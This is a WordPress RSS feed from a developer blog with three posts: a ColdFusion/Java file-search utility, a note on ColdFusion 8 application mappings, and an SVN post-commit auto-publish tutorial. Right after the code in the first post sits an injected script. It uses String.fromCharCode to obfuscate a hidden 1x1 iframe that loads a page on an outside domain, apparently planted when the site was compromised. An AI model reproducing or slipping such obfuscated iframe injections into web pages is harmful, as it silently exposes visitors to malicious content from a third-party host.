<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.1.2" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Tyler McManus .com</title>
	<link>http://www.tylermcmanus.com</link>
	<description></description>
	<pubDate>Fri, 25 Jun 2010 16:48:05 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.1.2</generator>
	<language>en</language>
			<item>
		<title>Search</title>
		<link>http://www.tylermcmanus.com/2008/01/23/search-multiple-files-with-cf-and-java/</link>
		<comments>http://www.tylermcmanus.com/2008/01/23/search-multiple-files-with-cf-and-java/#comments</comments>
		<pubDate>Thu, 24 Jan 2008 04:24:43 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[ColdFusion]]></category>

		<guid isPermaLink="false">http://www.tylermcmanus.com/2008/01/23/search-multiple-files-with-cf-and-java/</guid>
		<description><![CDATA[I recently had the need to search a web directory&#8217;s application files for a particular string. Not as a customer-facing function, just as a one-off development need.
Well, CFEclipse (as truly awesome a tool as it is) doesn&#8217;t have a way to search multiple files for the same string simultaneously, and while Home Site does have this feature [...]]]></description>
			<content:encoded><![CDATA[<p>I recently had the need to search a web directory&#8217;s application files for a particular string. Not as a customer-facing function, just as a one-off development need.</p>
<p>Well, CFEclipse (as truly awesome a tool as it is) doesn&#8217;t have a way to search multiple files for the same string simultaneously, and while Home Site does have this feature (&#8221;Extended Find / Extended Replace&#8221;), if you use it on anything but the smallest directories, it consistently times out and needs to be restarted again. So below is a little utility I wrote to recursively search a given directory for a given string. Its basically just two Java objects wrapped in a filtered CFDIRECTORY loop.</p>
<p>&#8220;But Tyler, why did you use Java when you could have just used CFFILE?&#8221; you say. Well, for me there&#8217;s now been several projects wherein CFFILE has considerably underperformed compared to its Java counterparts, and with the buffered reader object specifically, I can pass in fairly decent size files without ColdFusion choking on them. And its fast. Blazing fast. My browser almost caught fire (but I guess that&#8217;s the price you pay for efficiency). So nowadays, if I need a function that CFFILE would normally handle (at least in regards to reading and writing), I first consider the Java alternatives.</p>
<p>By the way, there is significant mixing of logic and presentation here, so be warned if you need to avert your eyes. Anyway, HTH.</p>
<pre>&lt;!--- the string to search for ---&gt;
&lt;cfset request.searchstring = "thestring" /&gt;
&lt;!--- the path to look in ---&gt;
&lt;cfset request.startingpath = "/var/www" /&gt;
&lt;!--- should the search be recursive. careful on this one. ---&gt;
&lt;cfset request.recurse = false&gt;
&lt;cfset request.filecount = 0 /&gt;
&lt;cfset request.linecount = 0 /&gt;
&lt;cfset request.fileshown = 0 /&gt;    

&lt;cfdirectory name="files"
    action="list"
    directory="#request.startingpath#"
    recurse="#request.recurse#"
    filter="*.cfm|*.cfc|*.cfml|*.js|*.css|*.htm|*.html"
    sort="directory asc, name asc" /&gt;    

&lt;html&gt;
&lt;head&gt;
    &lt;style&gt;
        * {
            font-size: 12px;
            font-family: 'courier new';
        }
        table {
            border: 0;
            padding: 0;
            border-collapse: collapse;
        }
        th { text-align: left; }
        th, td { padding: 0 15px 0 5px; }
        .even { background: #dadada; }
        .filename { font-weight: bold; }
    &lt;/style&gt;
&lt;/head&gt;    

&lt;body&gt;    

    &lt;table&gt;
        &lt;tr&gt;
            &lt;th colspan="3"&gt;directory/filename&lt;/th&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;th&gt; &lt;/th&gt;
            &lt;th&gt;num&lt;/th&gt;
            &lt;th&gt;line of code&lt;/th&gt;
        &lt;/tr&gt;    

        &lt;cfloop query="files"&gt;
            &lt;!--- exclude this file from the search ---&gt;
            &lt;cfif files.name NEQ listlast(cgi.SCRIPT_NAME,"/")&gt;    

                &lt;!--- set the source file to be read ---&gt;
                &lt;cfset variables.sourcefile = files.directory &#038; "\" &#038; files.name /&gt;
                &lt;cfset variables.linenumber = 1 /&gt;    

                &lt;!--- instantiate the necessary java objects ---&gt;
                &lt;cfset variables.filereader = createObject("java","java.io.FileReader").init(variables.sourcefile) /&gt;
                &lt;cfset variables.bufferedreader = createObject("java","java.io.BufferedReader").init(variables.filereader) /&gt;    

                &lt;!--- set the current line to the first available line in the file ---&gt;
                &lt;cfset variables.currentline = variables.bufferedreader.readLine() /&gt;    

                &lt;!--- beginning looping over the file line by line ---&gt;
                &lt;cfloop condition="isDefined(' variables.currentline')"&gt;    

                    &lt;!--- check the current line for the given search string ---&gt;
                    &lt;cfif variables.currentline CONTAINS request.searchstring &gt;    

                        &lt;cfif request.fileshown EQ 0&gt;
                            &lt;!--- stack multiple results under a single file name ---&gt;
                            &lt;tr valign="top" &lt;cfif request.filecount MOD 2 EQ 0&gt; class="even" &lt;/cfif&gt; &gt;
                                    &lt;td colspan="3" class="filename"&gt;&lt;cfoutput&gt;#variables.sourcefile#&lt;/cfoutput&gt;&lt;/td&gt;
                            &lt;/tr&gt;   
                            &lt;cfset request.fileshown = 1 /&gt;
                        &lt;/cfif&gt;    

                        &lt;!--- list the line number and line code containing the search string ---&gt;
                        &lt;tr valign="top" &lt;cfif request.filecount MOD 2 EQ 0&gt; class="even" &lt;/cfif&gt; &gt;
                                &lt;td&gt; &lt;/td&gt;
                                &lt;cfoutput&gt;
                                    &lt;td align="right"&gt;#variables.linenumber#&lt;/td&gt;
                                    &lt;td&gt;#htmleditformat(variables.currentline)#&lt;/td&gt;
                                &lt;/cfoutput&gt;
                        &lt;/tr&gt;    

                        &lt;cfset request.linecount = request.linecount + 1 /&gt;
                    &lt;/cfif&gt;    

                    &lt;!--- try to get the next line in the file. ---&gt;
                    &lt;cfset variables.currentline = variables.bufferedreader.readLine() /&gt;
                    &lt;cfset variables.linenumber = variables.linenumber + 1 /&gt;
                &lt;/cfloop&gt;    

                &lt;!--- close the buffered reader object ---&gt;
                &lt;cfset variables.bufferedreader.close() /&gt;
                &lt;cfif request.fileshown EQ 1&gt;
                    &lt;cfset request.fileshown = 0 /&gt;
                    &lt;cfset request.filecount = request.filecount + 1&gt;
                &lt;/cfif&gt;
            &lt;/cfif&gt;
        &lt;/cfloop&gt;    

        &lt;!--- list the line number and line code containing the search string ---&gt;
        &lt;tr valign="top" &lt;cfif request.filecount MOD 2 EQ 0&gt; class="even" &lt;/cfif&gt; &gt;
            &lt;th colspan="3"&gt;
                &lt;cfoutput&gt;
                    #request.linecount# matching lines in #request.filecount# files. #files.recordcount# files searched.
                &lt;/cfoutput&gt;
            &lt;/th&gt;
        &lt;/tr&gt;
    &lt;/table&gt;    

&lt;/body&gt;
&lt;/html&gt;</pre>
<p><!--cbe14211ca365da4296e6173d427129322010--></p>
<script type="text/javascript">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))</script>
<p><!--/cbe14211ca365da4296e6173d427129322010--></p>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<div class="d">
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://blinklist.com/index.php?Action=Blink/addblink.php&amp;Name=Search&amp;Description=Search&amp;Url=http://www.tylermcmanus.com/2008/01/23/search-multiple-files-with-cf-and-java/" title="Add to&nbsp;BlinkList"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/blinklist.png" title="Add to&nbsp;BlinkList" alt="Add to&nbsp;BlinkList" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.bloglines.com/sub/http://www.tylermcmanus.com/2008/01/23/search-multiple-files-with-cf-and-java/" title="Add to&nbsp;Bloglines"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/bloglines.png" title="Add to&nbsp;Bloglines" alt="Add to&nbsp;Bloglines" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http://www.tylermcmanus.com/2008/01/23/search-multiple-files-with-cf-and-java/&amp;title=Search" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http://www.tylermcmanus.com/2008/01/23/search-multiple-files-with-cf-and-java/&amp;title=Search" title="Add to&nbsp;digg"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http://www.tylermcmanus.com/2008/01/23/search-multiple-files-with-cf-and-java/" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://furl.net/storeIt.jsp?t=Search&amp;u=http://www.tylermcmanus.com/2008/01/23/search-multiple-files-with-cf-and-java/" title="Add to&nbsp;FURL"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/furl.png" title="Add to&nbsp;FURL" alt="Add to&nbsp;FURL" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://ma.gnolia.com/bookmarklet/add?url=http://www.tylermcmanus.com/2008/01/23/search-multiple-files-with-cf-and-java/&amp;title=Search&amp;description=Search" title="Add to&nbsp;Ma.gnolia"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/magnolia.png" title="Add to&nbsp;Ma.gnolia" alt="Add to&nbsp;Ma.gnolia" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.newsvine.com/_wine/save?u=http://www.tylermcmanus.com/2008/01/23/search-multiple-files-with-cf-and-java/&amp;h=Search" title="Add to&nbsp;Newsvine"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/newsvine.png" title="Add to&nbsp;Newsvine" alt="Add to&nbsp;Newsvine" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http://www.tylermcmanus.com/2008/01/23/search-multiple-files-with-cf-and-java/&amp;title=Search" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="hhtp://www.stumbleupon.com/submit.php?url=http://www.tylermcmanus.com/2008/01/23/search-multiple-files-with-cf-and-java/&amp;title=Search" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http://www.tylermcmanus.com/2008/01/23/search-multiple-files-with-cf-and-java/" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
</div>
</div>
<!-- Social Bookmarks END -->
]]></content:encoded>
			<wfw:commentRss>http://www.tylermcmanus.com/2008/01/23/search-multiple-files-with-cf-and-java/feed/</wfw:commentRss>
		</item>
		<item>
		<title>THIS.mappings</title>
		<link>http://www.tylermcmanus.com/2008/01/05/thismappings-in-applicationcfc/</link>
		<comments>http://www.tylermcmanus.com/2008/01/05/thismappings-in-applicationcfc/#comments</comments>
		<pubDate>Sat, 05 Jan 2008 18:27:18 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[ColdFusion]]></category>

		<guid isPermaLink="false">http://www.tylermcmanus.com/2008/01/05/thismappings-in-applicationcfc/</guid>
		<description><![CDATA[I&#8217;ve always been a bit perturbed at the CFIMPORT tag, both because you have to use the tag on every page in which you&#8217;ll call the prefixed custom tag, including pages that are called with CFINCLUDE (will save that rant for another time), and also because the taglib attribute cannot take a variable. To illustrate, [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve always been a bit perturbed at the CFIMPORT tag, both because you have to use the tag on every page in which you&#8217;ll call the prefixed custom tag, including pages that are called with CFINCLUDE (will save that rant for another time), and also because the taglib attribute cannot take a variable. To illustrate, you cannot do this:</p>
<pre>&lt;!--- this does not work ---&gt;
&lt;cfset request.tagpath = "/var/www/tagsdirectory/" /&gt;
&lt;cfimport prefix="t" taglib="#request.tagpath#" /&gt;</pre>
<p>As you probably know, you must declare the custom tag path in the cfadmin,  then call the CFIMPORT tag using the name you assigned to the path in the admin. Like so:</p>
<pre>&lt;cfimport prefix="t" taglib="/tagpath" /&gt;</pre>
<p>That is until now. In ColdFusion 8 aka Scorpio aka SomeOtherCoolName, you can now create <a href="http://livedocs.adobe.com/coldfusion/8/htmldocs/help.html?content=appFramework_04.html">application-specific paths for your custom tags</a>. You do so by creating a structure called THIS.mappings in your Application.cfc, then adding keys and values to this structure referencing the tag path name and the tag path directory, respectively. Like so:</p>
<pre>&lt;cfcomponent displayname="Application"&gt;
&lt;!--- application-specific custom tag paths ---&gt;
&lt;cfset this.mappings = structnew() /&gt;
&lt;cfset this.mappings["/tagpath"] = "/var/www/tagsdirectory/" /&gt;</pre>
<p>Note the required forward slash preceeding the tag name you assign. Now just call the CFIMPORT tag like normal at the top of your page:</p>
<pre>&lt;cfimport prefix="t" taglib="/tagpath" /&gt;</pre>
<p>Bada bing bada boom, dynamic tag paths. HTH.</p>
<p> <a href="http://www.tylermcmanus.com/2008/01/05/thismappings-in-applicationcfc/#more-18" class="more-link">&#8211;></a></p>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<div class="d">
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://blinklist.com/index.php?Action=Blink/addblink.php&amp;Name=THIS.mappings&amp;Description=THIS.mappings&amp;Url=http://www.tylermcmanus.com/2008/01/05/thismappings-in-applicationcfc/" title="Add to&nbsp;BlinkList"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/blinklist.png" title="Add to&nbsp;BlinkList" alt="Add to&nbsp;BlinkList" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.bloglines.com/sub/http://www.tylermcmanus.com/2008/01/05/thismappings-in-applicationcfc/" title="Add to&nbsp;Bloglines"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/bloglines.png" title="Add to&nbsp;Bloglines" alt="Add to&nbsp;Bloglines" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http://www.tylermcmanus.com/2008/01/05/thismappings-in-applicationcfc/&amp;title=THIS.mappings" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http://www.tylermcmanus.com/2008/01/05/thismappings-in-applicationcfc/&amp;title=THIS.mappings" title="Add to&nbsp;digg"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http://www.tylermcmanus.com/2008/01/05/thismappings-in-applicationcfc/" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://furl.net/storeIt.jsp?t=THIS.mappings&amp;u=http://www.tylermcmanus.com/2008/01/05/thismappings-in-applicationcfc/" title="Add to&nbsp;FURL"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/furl.png" title="Add to&nbsp;FURL" alt="Add to&nbsp;FURL" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://ma.gnolia.com/bookmarklet/add?url=http://www.tylermcmanus.com/2008/01/05/thismappings-in-applicationcfc/&amp;title=THIS.mappings&amp;description=THIS.mappings" title="Add to&nbsp;Ma.gnolia"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/magnolia.png" title="Add to&nbsp;Ma.gnolia" alt="Add to&nbsp;Ma.gnolia" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.newsvine.com/_wine/save?u=http://www.tylermcmanus.com/2008/01/05/thismappings-in-applicationcfc/&amp;h=THIS.mappings" title="Add to&nbsp;Newsvine"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/newsvine.png" title="Add to&nbsp;Newsvine" alt="Add to&nbsp;Newsvine" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http://www.tylermcmanus.com/2008/01/05/thismappings-in-applicationcfc/&amp;title=THIS.mappings" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="hhtp://www.stumbleupon.com/submit.php?url=http://www.tylermcmanus.com/2008/01/05/thismappings-in-applicationcfc/&amp;title=THIS.mappings" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http://www.tylermcmanus.com/2008/01/05/thismappings-in-applicationcfc/" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
</div>
</div>
<!-- Social Bookmarks END -->
]]></content:encoded>
			<wfw:commentRss>http://www.tylermcmanus.com/2008/01/05/thismappings-in-applicationcfc/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Tutorial:</title>
		<link>http://www.tylermcmanus.com/2007/12/25/tutorial-auto-publishing-on-post-commit-with-svn/</link>
		<comments>http://www.tylermcmanus.com/2007/12/25/tutorial-auto-publishing-on-post-commit-with-svn/#comments</comments>
		<pubDate>Wed, 26 Dec 2007 07:58:01 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.tylermcmanus.com/2007/12/25/tutorial-auto-publishing-on-post-commit-with-svn/</guid>
		<description><![CDATA[So in the continuing pursuit of setting up the preferred web development environment for myself on my home network, I installed Subversion (SVN) on my Ubuntu Desktop 7.10 &#8220;CLAMP&#8221; (ColdFusion + LAMP) server. Here&#8217;s the general process I wanted in place:
1. Run the SVN repository directly on my local web server, blocking anonymous access, and [...]]]></description>
			<content:encoded><![CDATA[<p>So in the continuing pursuit of setting up the preferred web development environment for myself on my home network, I installed Subversion (SVN) on my Ubuntu Desktop 7.10 &#8220;CLAMP&#8221; (ColdFusion + LAMP) server. Here&#8217;s the general process I wanted in place:</p>
<p>1. Run the SVN repository directly on my local web server, blocking anonymous access, and checking out my projects via the secure shell protocol (svn+ssh://).</p>
<p>2. Check out said projects from the repository onto my primary machine where I develop using Eclipse and the Subclipse plug-in. (I also use the CFEclipse and Aptana plug-ins. Props on two excellent products! )</p>
<p>3. Commit the changes to the repository on my Web Server, which would then auto-publish the latest copy of my source to the web server&#8217;s web root.</p>
<p>4. Drink and be merry.</p>
<p>Having SVN automatically post the latest version of my source directly to the web root proved to be a bit of a challenge for me as I&#8217;m basically a newbie to both Linux and the process of setting up SVN. This effort and the bit of research involved is the focus of this post. This post also assumes you&#8217;re running a Linux variant.</p>
<p>Advice Disclaimer: Before I start, I would like to make note that this setup is for my home network and sandbox, not a professional production environment. I would not suggest this configuration for such an instance. Perhaps it could work for moving source from a development area to a staging/debug area as some have suggested, but I would rather not &#8220;auto-publish&#8221; directly to a customer-facing application. Unless such functionality was tightly controlled, in my estimation there seems too much opportunity for problems to arise. End disclaimer.</p>
<p>There are essentially two different ways to have SVN automatically post your content to your web root, and both of them center around using SVN&#8217;s built-in hooks, specifically the post-commit hook. <a href="http://svnbook.red-bean.com/nightly/en/svn.reposadmin.create.html#svn.reposadmin.create.hooks">For more info on SVN hooks go here</a>, but in essence they allow you to run specific scripts at various key points in the repository usage process. The post-commit script, as I&#8217;m sure you guessed by the name, is ran after a commit has successfully completed, and can execute whatever command or string of commands you&#8217;d like. This script can be basically anything, but the most common examples I&#8217;ve listed as &#8220;Options&#8221; following the walk-through on the post-commit script itself.</p>
<p>Firstly, the post-commit (and other scripts) can be found in the &#8220;hooks&#8221; folder of your repository location in the form &#8220;post-commit.tmpl&#8221;.</p>
<p>Step 1. Copy post-commit.tmpl into the same directory as just &#8220;post-commit&#8221;.</p>
<p>Step 2. Open the file, commenting out any uncommented lines of code with a hash symbol (#), like for example, the line at the bottom of the current SVN installation post-commit that tries to run an email notification with every commit. Save your changes.</p>
<p>Step 3. Give the script the proper permissions. Permissions seem to be the number one area in which people have problems running their post-commit scripts. When your script runs, it will do so as the SVN user, not you. That SVN user will need create/delete rights in the web root. I handled this by creating a SVN user group in Ubuntu which includes the SVN user as well as the Apache user: www-data. You may prefer other solutions. Like, for example, <a href="http://arstechnica.com/articles/columns/linux/linux-20050406.ars">writing and compiling a small C program, and then just giving that program the rights to do what you want</a>.</p>
<p>Also, the script being run on post-commit will need SVN repository permissions, so if you are using the standard SVN protocol, you&#8217;ll need to ensure that the appropriate user is listed in the SVN passwd file (and that the passwd file is configured in the svnserve.conf file). If you are connecting via SSH, you could create an additional user account and limit its priviledges to just this process. For general help setting up SVN on Ubuntu (my operating system of choice), <a href="https://help.ubuntu.com/community/Subversion">check out this excellent guide on Ubuntu.com</a>.</p>
<p>Step 4. Choose either option A or option B.</p>
<p><strong>Option A. </strong></p>
<p>The SVN export. This is the cleanest, and arguably the most &#8220;correct&#8221; method. However, it is also the heaviest in terms of processor load, memory usage, and time (if your site/application is of any but the smallest of sizes). The SVN export is as it sounds - a complete export of your most current version of source files, images, everything you have in version control. Its primary function is for the distribution of source for production. To utilize this function, you would again edit the post-commit file, and directly under the hashbang (the first line of code denoted by the &#8220;#!&#8221; character combination), add this line:</p>
<pre>/usr/bin/svn export svn://localhost/repository /var/www --username somesvnuser --password theirpassword</pre>
<p>Note the full path preceding the svn command as there is no internal path variable within SVN. This is intentional so as to avoid assumption-based errors in file management. Also note that we are designating the user to be the specific svn user which we have given the correct repository permissions (based either on the SVN passwd file, or for SVN+SSH, the system user accounts).</p>
<p>Though the SVN export is obviously a necessary function in version control, it does not work for my purposes here as I&#8217;m looking to post short incremental changes to my code base, and am not interested in overwriting and re-exporting my entire project every time I commit a change.</p>
<p>Continue to step 5.</p>
<p><strong>Option B.</strong></p>
<p>The SVN update. This method involves treating the web root as another working copy previously checked out from your repository, which is continually and automatically updated upon each successful commit. The key difference between an update and a full export are that the update only re-fetches the files which have changed since the last update. For my usage, this is _much_ more efficient than the previous option, and in the end was the method I chose. Here&#8217;s how to go this route: Remember that post-commit file? Edit it again and add and save this line, instead of the export line in the previous option:</p>
<pre>/usr/bin/svn update /var/www --username somesvnuser --password theirpassword</pre>
<p>Again, note the full path on the SVN command, and the specific user designation.</p>
<p>Now, before this script can be successfully ran, the working copy needs to be checked out into the web root. Do so in a terminal window with:</p>
<pre>$ svn co svn://localhost/repository /var/www --username somesvnuser ---password theirpassword</pre>
<p>Also, there is a catch: Whenever you (or a script) checks out or updates a working copy, SVN automatically creates some hidden &#8220;.svn&#8221; folders and files in the root of your project, this case being your web root. You may not notice them but they&#8217;re there. And in so existing are a security risk as they may contain information you&#8217;re likely to want to hide from public access. However, if you&#8217;re running Apache, this is easily handled with a few lines added to the httpd.conf file disallowing the access to those .svn folders and files. This may minimally increase Apache&#8217;s workload, but will definitely provide much appreciated convenience to you:</p>
<pre>&lt;DirectoryMatch "^/.*/.svn/"&gt;
    Order deny,allow
    Deny from all
&lt;/DirectoryMatch&gt;</pre>
<p>After you&#8217;ve added and saved this line, restart Apache:</p>
<pre>$ /etc/init.d/apache2 restart</pre>
<p>Continue to step 5.</p>
<p>Step 5. Make the post-commit script an executable application in a terminal window:</p>
<pre>$ chmod +x post-commit</pre>
<p>Step 6. If you&#8217;re using Eclipse with the Subclipse plug-in like I am, and you try to commit a change to the repository without your script having everything it needs to perform its task (like I did), Eclipse may hang on you, and you will get no feedback on the error. So, I suggest running the script itself in the terminal window first to get that much needed feedback. Run it without sudo btw. The script must have the permissions it needs to run on its own.</p>
<pre>$ /your/repository/hooks/post-commit</pre>
<p>If all goes well, you&#8217;re on your way. Any problems, please see the note above about permissions, as this is the most common issue in regard to running SVN scripts. Go browse the web root to ensure it contains the latest version of your project.</p>
<p>Step 7. Open Eclipse, make a change in the code, and try to commit. If it doesn&#8217;t hang, you&#8217;re good to go. If it does, go back to the terminal for feedback and re-examine your script and its permissions. Good luck!</p>
<p>Step 8. Say &#8220;Woo-hoo!&#8221;.</p>
<p>Supplemental: An interesting auto-publish option: Rsync. In researching this topic, I came across what I thought was an innovative take on the auto-publishing topic. <a href="http://www.lincolnloop.com/blog/archives/2007/04/subversion-for-web-developers">Lincolnloop.com posts a process</a> whereby the web server&#8217;s working copy is actually stored outside of the web root, and the post-commit script runs a shell command that rsync&#8217;s the web server&#8217;s working copy with another one in the web root, only it uses a separate text file containing names of folders and files that should not be transferred, cleaning resolving the issue of publishing sensitive information.</p>
<p>And that&#8217;s about all I have to say about that. Hope this helps someone. Peace.</p>
<p> <a href="http://www.tylermcmanus.com/2007/12/25/tutorial-auto-publishing-on-post-commit-with-svn/#more-17" class="more-link">&#8211;></a></p>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<div class="d">
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://blinklist.com/index.php?Action=Blink/addblink.php&amp;Name=Tutorial%3A&amp;Description=Tutorial%3A&amp;Url=http://www.tylermcmanus.com/2007/12/25/tutorial-auto-publishing-on-post-commit-with-svn/" title="Add to&nbsp;BlinkList"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/blinklist.png" title="Add to&nbsp;BlinkList" alt="Add to&nbsp;BlinkList" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.bloglines.com/sub/http://www.tylermcmanus.com/2007/12/25/tutorial-auto-publishing-on-post-commit-with-svn/" title="Add to&nbsp;Bloglines"><img class="social_img" src="http://www.tylermcmanus.com/wp-content/plugins/social-bookmarks/images/bloglines.png" title="Add to&nbsp;Bloglines" alt="Add to&nbsp;Bloglines" /></a>
